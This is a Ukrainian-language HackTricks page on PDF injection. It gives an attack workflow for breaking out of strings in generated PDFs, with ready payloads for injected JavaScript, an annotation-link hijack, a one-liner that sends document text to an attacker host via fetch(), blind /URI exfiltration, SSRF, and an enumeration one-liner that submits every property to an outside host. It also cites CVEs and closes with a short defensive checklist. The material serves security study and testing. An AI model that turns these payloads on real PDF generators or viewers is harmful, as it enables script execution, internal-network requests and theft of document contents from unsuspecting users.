PDF Injection
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Якщо ваш ввід відображається всередині PDF-файлу, ви можете спробувати ввести PDF-дані для виконання JavaScript, виконати SSRF або вкрасти вміст PDF. Синтаксис PDF надзвичайно ліберальний – якщо ви можете вийти з рядка або словника, який вбудовує ваш ввід, ви можете додати абсолютно нові об'єкти (або нові ключі в тому ж об'єкті), які Acrobat/Chrome з радістю розпарсить. З 2024 року хвиля звітів про баги показала, що одна неекранована дужка або зворотний слеш достатньо для повного виконання скрипту.
TL;DR – Сучасний робочий процес атаки (2024)
- Знайдіть будь-яке значення, контрольоване користувачем, яке потрапляє всередину (рядка в дужках),
/URI ( … )
або/JS ( … )
поля в згенерованому PDF. - Введіть
)
(закриваючи рядок), за яким слідує один з примітивів нижче, і закінчіть ще однією відкриваючою дужкою, щоб зберегти синтаксис дійсним. - Доставте шкідливий PDF жертві (або до бекенд-сервісу, який автоматично рендерить файл – чудово для сліпих багів).
- Ваш вантаж виконується в переглядачі PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (див. CVE-2024-4367)
- Acrobat → Повний JavaScript API (може ексфільтрувати довільний вміст файлів за допомогою
this.getPageNthWord
)
Приклад (перехоплення посилання на анотацію):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Перший )
закриває оригінальний рядок URI, після чого ми додаємо новий Action словник, який Acrobat виконає, коли користувач натисне на посилання.
Корисні примітиви для ін'єкцій
Мета | Фрагмент Payload | Примітки |
---|---|---|
JavaScript при відкритті | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Виконується миттєво при відкритті документа (працює в Acrobat, не в Chrome). |
JavaScript при натисканні на посилання | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Працює в PDFium та Acrobat, якщо ви контролюєте анотацію /Link . |
Сліпа ексфільтрація даних | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Поєднайте з this.getPageNthWord всередині JS, щоб вкрасти вміст. |
Серверний SSRF | Те ж саме, що й вище, але націлюйте на внутрішню URL-адресу – чудово, коли PDF рендериться службами бек-офісу, які поважають /URI . | |
Перенос рядка для нових об'єктів | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Якщо бібліотека дозволяє вам вставляти символи нового рядка, ви можете створювати абсолютно нові об'єкти. |
Трюк сліпої енумерації
Гарет Хейз (PortSwigger) випустив однорядковий код, який перераховує кожен об'єкт всередині невідомого документа – зручно, коли ви не можете бачити згенерований PDF:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Код ітерує по DOM Acrobat і робить вихідні запити для кожної пари властивість/значення, надаючи вам JSON-подібний дамп файлу. Дивіться білу книгу “Portable Data exFiltration” для повної техніки.
Реальні помилки (2023-2025)
- CVE-2024-4367 – Випадкове виконання JavaScript у PDF.js Firefox до 4.2.67 обійшло пісочницю з допомогою створеної дії
/JavaScript
. - Bug bounty 2024-05 – Великий фінансовий технологічний сервіс дозволив нотатки рахунків, надані клієнтом, які потрапили в
/URI
; звіт був оплачений на $10k після демонстрації SSRF до внутрішнього хосту метаданих за допомогоюfile:///
URI. - CVE-2023-26155 – Впровадження команд через
node-qpdf
через несенітізований шлях PDF показує важливість екранування зворотних слешів і дужок навіть перед шаром PDF.
Захисний шпаргалка
- Ніколи не конкатенуйте сирий ввід користувача всередині
(
…)
рядків або імен. Екрануйте\
,(
,)
відповідно до §7.3 специфікації PDF або використовуйте шістнадцяткові рядки<...>
. - Якщо ви створюєте посилання, надавайте перевагу
/URI (https://…)
, які ви повністю URL-кодуєте; блокуйте схемиjavascript:
у клієнтських переглядачах. - Видаляйте або перевіряйте словники
/OpenAction
,/AA
(додаткові дії),/Launch
,/SubmitForm
і/ImportData
під час обробки PDF. - На стороні сервера рендеріть ненадійні PDF за допомогою безголового конвертера (наприклад, qpdf –decrypt –linearize), який видаляє JavaScript і зовнішні дії.
- Тримайте переглядачі PDF в актуальному стані; PDF.js < 4.2.67 і Acrobat Reader до липня 2024 року дозволяють тривіальне виконання коду.
Посилання
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (оновлено травень 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (квітень 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.